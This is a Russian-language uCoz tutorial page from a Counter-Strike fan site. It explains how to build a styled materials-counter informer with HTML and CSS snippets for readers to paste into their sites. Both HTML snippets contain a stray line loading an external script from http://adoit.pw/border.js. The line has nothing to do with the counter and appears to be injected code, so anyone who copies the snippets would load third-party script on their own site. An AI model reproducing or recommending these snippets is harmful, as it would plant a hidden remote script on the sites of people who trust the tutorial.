Главная | Регистрация | Вход Приветствую Вас Гость | RSS
    Меню сайта
Главная страница Не нравится сайт?ДА! Топ 100 сайтов Онлайн игры Фотоальбом Сделайте баннер Online Телевизор на сате Гостевая Форум Файлы Блог
    Всё для CS 1.6
Скачать Counter-Strike Файлы от пользователей Готовые сервера аmx плагины Программы Анти-читы Мувики Моды для cs Радары Waypoint'ы Прицелы Карты Одноцветное лого Читы HLTV модели Баги CS Курсоры Модели оружия Модели CT Модели T Боты CS 1.6 Online Кровь Взлом серверов cs Иконки Радио Прицелы SIG/AUG Цветные лого Патчи Русификаторы Темы меню Web скрипты Взрывы Steam cs 1.6 Звуки Паки Моделей Игроков Радио CS Конфиги профессионалов Скрипты Дырки от пуль Значки Редакторы карт Текстуры рук Триксы Музыка Снайперские прицелы Шрифты Юзербары Выстрелы Спрайты CS Защита сервера CS Модели C4 Конфиги Аватары CS Болевые иконки Консольные комманды Cs Задний план в CS
    Помощь Нубам
Полезно всем знать Секреты карт cs Стратегии на картах CS
    Реклама от Google
    Мастерская
Создаём сервер CS Создаём карты для cs Настраиваем AMX MOD Русифицируем AMX MOD X F.A.Q для серверов cs Снижаем лаги и пинг сервера Все статьи о серверах Установка плагинов на серв Настраиваем сервер Собираем онлайн server.cfg Делаем себя админом Делаем серв видимым в нэте Открываем порты в модеме Долго грузятся файлы с серва Делаем цветное лого Делаем фон консоли Делаем фон меню CS Делаем Waypoint'ы Делаем свой прицел Делаем матрицу в cs Меняем цвет прицела Создаём конфиг Настраиваем микрофон Устанавливаем модели Играем в cs по инету Делаем демку и видео Монтируем видео Настраиваем мышь в cs Прицел без зума на awp как установить ? ответ здесь ! Правила CW для CS 1.6
    Про ucoz
Скрипты Шаблоны cs шапки для сайтов
    CS Art
Обои в стиле CS Музыка на тему CS (mp3) Аватарки на тему CS Юзербары на тему CS Шрифты в стиле CS Иконки из CS для Windows Курсоры CS для Windows Комиксы Cs Flash мульты Скины для Winamp
    Юмор
Чудеса в CS ( видео ) Картинки Стишки про CS О читерах CyberGamer'ы (Кибергамеры) Басни CS Как стать отцом CS Ответы отцов о CS
Главная » 2013 » Август » 17 » Счетчик материалов для uCoz
23:10
Счетчик материалов для uCoz

И так для начала мы создадим информер материалов для uCoz, для этого идём в Админ панель => Инструменты => Информеры => Создать информер => Счетчик материалов

удаляем старый html код и устанавливаем новый:

Код
<ul>  
<?if($DIR$)?><li><div>Сайтов в каталоге:</div>$DIR$</li><?endif?>  
<?if($BLOG$)?><li><div>Записей в блоге:</div>$BLOG$</li><?endif?>  
<?if($GB$)?><li><div>Гостевая книга:</div>$GB$</li><?endif?>  
<?if($NEWS$)?><li><div>Новостей сайта:</div>$NEWS$</li><?endif?>  
<?if($COMMENTS$)?><li><div>Тем на форуме:</div>$FORUM_T$</li><?endif?>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<?if($COMMENTS$)?><li><div>Комментариев:</div>$COMMENTS$</li><?endif?>  
<?if($BOARD$)?><li><div>Объявлений:</div>$BOARD$</li><?endif?>  
<?if($PHOTO$)?><li><div>Фотографий:</div>$PHOTO$</li><?endif?>  
<?if($FAQ$)?><li><div>Ответов:</div>$FAQ$</li><?endif?>  
<?if($LOAD$)?><li><div>Файлов:</div>$LOAD$</li><?endif?>  
<?if($PUBL$)?><li><div>Статей:</div>$PUBL$</li><?endif?>  
<?if($TESTS$)?><li><div>Тестов:</div>$TESTS$</li><?endif?>  
<?if($VIDEO$)?><li><div>Видео:</div>$VIDEO$</li><?endif?>  
<?if($STUFF$)?><li><div>Игр:</div>$STUFF$</li><?endif?>  
</ul>


а если вы хотите чтобы ячейка с количеством материалов имел тёмный фон, как в примере номер два, то устанавливаем в тот же информер следующий html код:

Код
<ul>  
<?if($DIR$)?><li><div>Сайтов в каталоге:</div><span>$DIR$</span></li><?endif?>  
<?if($BLOG$)?><li><div>Записей в блоге:</div><span>$BLOG$</span></li><?endif?>  
<?if($GB$)?><li><div>Гостевая книга:</div><span>$GB$</span></li><?endif?>  
<?if($NEWS$)?><li><div>Новостей сайта:</div><span>$NEWS$</span></li><?endif?>  
<?if($COMMENTS$)?><li><div>Тем на форуме:</div><span>$FORUM_T$</span></li><?endif?>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script>
<?if($COMMENTS$)?><li><div>Комментариев:</div><span>$COMMENTS$</span></li><?endif?>  
<?if($BOARD$)?><li><div>Объявлений:</div><span>$BOARD$</span></li><?endif?>  
<?if($PHOTO$)?><li><div>Фотографий:</div><span>$PHOTO$</span></li><?endif?>  
<?if($FAQ$)?><li><div>Ответов:</div><span>$FAQ$</span></li><?endif?>  
<?if($LOAD$)?><li><div>Файлов:</div><span>$LOAD$</span></li><?endif?>  
<?if($PUBL$)?><li><div>Статей:</div><span>$PUBL$</span></li><?endif?>  
<?if($TESTS$)?><li><div>Тестов:</div><span>$TESTS$</span></li><?endif?>  
<?if($VIDEO$)?><li><div>Видео:</div><span>$VIDEO$</span></li><?endif?>  
<?if($STUFF$)?><li><div>Игр:</div><span>$STUFF$</span></li><?endif?>  
</ul>


а на страницу сайта в нужное место устанавливаем html каркас ячейки с информером материалов:

Код
<div class="informer-materials">  
<div class="informer-materials-title">Счетчик материалов </div>  
  $MYINF_1$  
</div>


а теперь давайте стилизуем данное решение, пропишем ему следующие css стили:

Код
/* Правильный счетчик материалов  
  ------------------------------------------*/  
.informer-materials {  
  float:left;  
  width:200px;  
  background: #fff;  
  border: 1px solid #CAD3DA;  
  border-radius:5px;  
  overflow: hidden;  
  margin-right: 20px;  
}  

.informer-materials-title {  
  float:left;  
  width:202px;  
  padding: 7px 0px;  
  background: #376fb9 ;  
  margin: -1px -1px 0px -1px;  
   
  font:11px Verdana,Arial,Helvetica, sans-serif;  
  text-shadow: 1px 1px 1px #093a7b;  
  text-align:center;  
  font-weight: bold;  
  color:#fff;  
}  

.informer-materials ul {  
  margin: 0;  
  padding: 0;  
  list-style: none;  
}  

.informer-materials li{  
  float:left;  
  width:170px;  
  padding: 5px 0px;  
  margin: 0px 15px;  
  border-top: 1px dotted #CAD3DA;  
}  

.informer-materials li div{  
  float:left;  
  width:150px;  
  padding-right: 10px;  
  text-align:right;  
}  

.informer-materials li div{  
  float:left;  
  width:120px;  
  text-align:right;  
}  

.informer-materials li:nth-child(1){  
  border-top: none;  
}  

.informer-materials li span{  
  padding: 2px 7px;  
  background: #9EA5A8;  
  border-radius:3px;  
   
  font:9px Verdana,Arial,Helvetica, sans-serif;  
  text-shadow: 1px 1px 1px #777;  
  font-weight: bold;  
  color:#fff;  
}  


На этом всё, спасибо за внимание!
Просмотров: 350 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Форма входа

Гость !



Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Налог на транспорт
    Поиск
    Копилка
    Наш опрос
Как вам наш сайт?

Результат опроса Результаты Все опросы нашего сайта Архив опросов

Всего голосовало: 260
Обсудить опрос на форуме
    Друзья сайта
Мониторинг игровых серверов (PGS)
  • Официальный блог
  • Сообщество uCoz
  • Инструкции для uCoz
  • Программы
  •     Случайные файлы
    Полный рассказ о том как настроить AMX MOD ЛУЧШЕЕ!
    SprWiz ЛУЧШЕЕ!
    bot_marker.amxx ЛУЧШЕЕ!
    cs шаблон ЛУЧШЕЕ!
    all_death_beams.amx ЛУЧШЕЕ!
    amx_player_voterr ЛУЧШЕЕ!
    amx_super.amxx ЛУЧШЕЕ!
    НАБОР AMX КОНСОЛЬНЫХ КОМАНД ДЛЯ АДМИНОВ ЛУЧШЕЕ!
    Скачать Surf мод ЛУЧШЕЕ!
    Как сделать собственный фон консоли ? вот ответ... ЛУЧШЕЕ!
        Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Зарег. на сайте
    Всего: 60
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 1
    Проверенных: 4
    Обычных юзеров: 53 Из них
    Парней: 49
    Девушек: 11